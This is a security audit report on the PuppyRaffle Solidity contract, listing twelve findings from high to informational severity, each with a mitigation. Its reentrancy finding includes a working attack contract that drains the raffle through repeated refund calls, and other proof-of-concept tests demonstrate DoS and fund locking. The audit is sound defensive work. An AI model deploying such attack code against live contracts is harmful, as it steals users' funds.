Protocol Audit Report

Prepared by: EggsyOnCode

Prepared by: EggysOnCode Lead Auditors:

- EggsyOnCode

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The EggsyOnCode team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Auditing of `PuppyRaffle.sol` file in the protocol

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	4
Info	2
Total	12

Findings

[H-1] Reentrancy Attack Vector Present in `PuppyRaffle::refund` Which Could Drain the Smart Contract

Description:
The `refund` function does not follow the Checks-Effects-Interactions (CEI) pattern, making an external call before updating the contract's state. This opens up the contract to a reentrancy attack, where an attacker can recursively call the function to drain funds from the contract.

Impact:
All the funds in the contract could be drained by an attacker, leading to a complete loss of user funds.

Proof of Concept:

```
contract AttackContract {
    PuppyRaffle puppyRaffle;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }

    fallback() external payable {
        if (address(puppyRaffle).balance > 0) {
            uint256 playerIndex =
puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(playerIndex);
        }
    }

    function attack() public {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: 1e18}(players);

        uint256 playerIndex =
puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(playerIndex);
    }
}
```

Recommended Mitigation:
Follow the CEI pattern by updating the contract state before making the external call or use the ReentrancyGuard from OpenZeppelin to prevent reentrancy attacks.

[H-2] Weak RNG in the `PuppyRaffle::selectWinner` Function

Description:
The `selectWinner` function relies on deterministic or miner-influenceable values like `block.difficulty` to generate random numbers. This introduces weak randomness, making the contract vulnerable to manipulation by malicious actors.

Impact:
The randomness used in the raffle can be influenced, leading to unfair outcomes and potential exploitation by attackers, as seen in the MeeBits attack.

Proof of Concept:
N/A

Recommended Mitigation:
Use off-chain distributed RNG via Chainlink VRF or commit-reveal schemes to ensure secure and unpredictable randomness.

[M-1] Looping Over an Unbounded Array in `PuppyRaffle::enterRaffle` Can Cause DoS

Description:
The `enterRaffle` function loops over an unbounded array, which can significantly increase gas costs as the array size grows. This can result in a DoS (Denial of Service) attack by making transactions revert due to exceeding the block gas limit.

Impact:
This issue disproportionately affects later participants in the raffle, as they may face higher gas costs, potentially making the service unusable if the gas cost exceeds the block gas limit.

Proof of Concept:

```
function testIsDoS() public {
    vm.txGasPrice(1);
    address[] memory players = new address[](100);
    for (uint256 i = 0; i < 100; i++) {
        players[i] = address(i);
    }

    uint256 gasUsedBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
    uint256 gasUsedAfter = gasleft();
    uint256 gasUsed = (gasUsedBefore - gasUsedAfter) * tx.gasprice;

    console.log("Gas used for first 100: ", gasUsed);

    address[] memory players2 = new address[](100);
    for (uint256 i = 0; i < 100; i++) {
        players2[i] = address(i + players.length);
    }

    uint256 gasUsedBefore2 = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * 100}(players2);
    uint256 gasUsedAfter2 = gasleft();
    uint256 gasUsed2 = (gasUsedBefore2 - gasUsedAfter2) * tx.gasprice;

    console.log("Gas used for second 100: ", gasUsed2);

    assert(gasUsed2 > gasUsed);
}
```

Recommended Mitigation:
Loop through a bounded array or maintain a mapping to check for already existing players to avoid high gas costs.

[M-2] Possible Integer Overflow in `PuppyRaffle::selectWinner` Due to `totalFees` Being `uint64`

Description:
The `totalFees` variable in the `selectWinner` function is defined as `uint64`, which has a maximum value of 18.44 ETH. If fees exceed this value, an integer overflow could occur, causing the fees to reset to a smaller number and potentially leading to a significant loss of funds.

Impact:
If the total fees exceed the `uint64` limit, the protocol could lose a substantial amount of ETH, leading to a significant financial impact.

Proof of Concept:
N/A

Recommended Mitigation:
Use `uint256` for `totalFees` and Solidity compiler version `^0.8.0` to avoid overflow and underflow issues.

[M-3] Mishandling of ETH in `PuppyRaffle::withdrawFees` Could Make Withdrawals Impossible

Description:
The `withdrawFees` function contains an assert statement that could fail if the contract receives funds from an attacker via `selfdestruct`, preventing any withdrawals from the contract.

Impact:
This could lock all the funds in the contract, making it impossible to withdraw fees and leading to a complete loss of funds for the contract owner.

Proof of Concept:

```
function testLockingWithdrawals() public {
    for (uint256 i = 0; i < 4; i++) {
        address[] memory players = new address[](1);
        players[0] = address(i);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
    }

    log_uint(address(puppyRaffle).balance);

    vm.warp(block.timestamp + duration + 1);

    puppyRaffle.selectWinner();

    log_uint(puppyRaffle.totalFees());

    vm.deal(TEST, 1 ether);
    vm.startPrank(TEST);
    MishandleETH mishandleETH = new MishandleETH(address(puppyRaffle));
    address(mishandleETH).call{value: 1 ether}("");
    assertEq(address(mishandleETH).balance, 1 ether);
    vm.stopPrank();
```

```
        mishandleETH.mishandle();

        vm.expectRevert();
        puppyRaffle.withdrawFees();

        // assertEq(feeAddress.balance, (entranceFee * 4) * 20 / 100);
    }
```

Recommended Mitigation:
Use a different measurement for asserting that withdrawals can only be done after the raffle period has ended.

[L-1] No Zero Address Checks in the Constructor in `PuppyRaffle`

Description:
The constructor of the `PuppyRaffle` contract does not check if the zero address is passed as an argument. This could result in an invalid contract state if a zero address is used.

Impact:
Using a zero address could lead to unexpected behavior or the inability to perform certain actions within the contract.

Proof of Concept:
N/A

Recommended Mitigation:
Add a check in the constructor to ensure that the zero address is not passed as an argument.

[L-2] Assert for Length of the Players in `PuppyRaffle::enterRaffle` Should Be Made to Avoid Processing Empty Arrays

Description:
The `enterRaffle` function does not check if the players' array is empty before processing it. This could lead to unnecessary gas consumption and potential errors.

Impact:
Processing an empty array wastes gas and could lead to unexpected behavior in the contract.

Proof of Concept:
N/A

Recommended Mitigation:
Add an assert or require statement to ensure that the players' array is not empty before processing.

[I-1] In `PuppyRaffle::getActivePlayers`, Utilize a Mapping for Better Gas Efficiency

Description:
The `getActivePlayers` function currently uses an array, which could be optimized by using a mapping to reduce gas costs.

Impact:
Using a mapping instead of an array could reduce gas consumption and make the contract more efficient.

Proof of Concept:
N/A

Recommended Mitigation:
Refactor the function to use a mapping for better gas efficiency.

[I-2] `PuppyRaffle::getActivePlayers` Is Not Being Used in the Contract

Description:
The `getActivePlayers` function is defined but not used anywhere in the contract. This could indicate dead code that adds unnecessary complexity to the contract.

Impact:
Unused functions add unnecessary complexity to the contract, making it harder to maintain and increasing the risk of bugs.

Proof of Concept:
N/A

Recommended Mitigation:
Remove the `getActivePlayers` function if it is not needed, or ensure it is used where necessary.

[L-3] Solidity Pragma Should Be Specific, Not Wide

Description:
The contract uses a wide version of Solidity in the pragma statement. It is recommended to use a specific version of Solidity to avoid potential issues with future compiler versions.

Impact:
Using a wide version of Solidity could introduce compatibility issues with future compiler versions.

Proof of Concept:

```
pragma solidity ^0.7.6;
```

Recommended Mitigation:
Specify a specific version of Solidity, such as `pragma solidity 0.7.6;

`, to ensure compatibility and avoid unexpected behavior.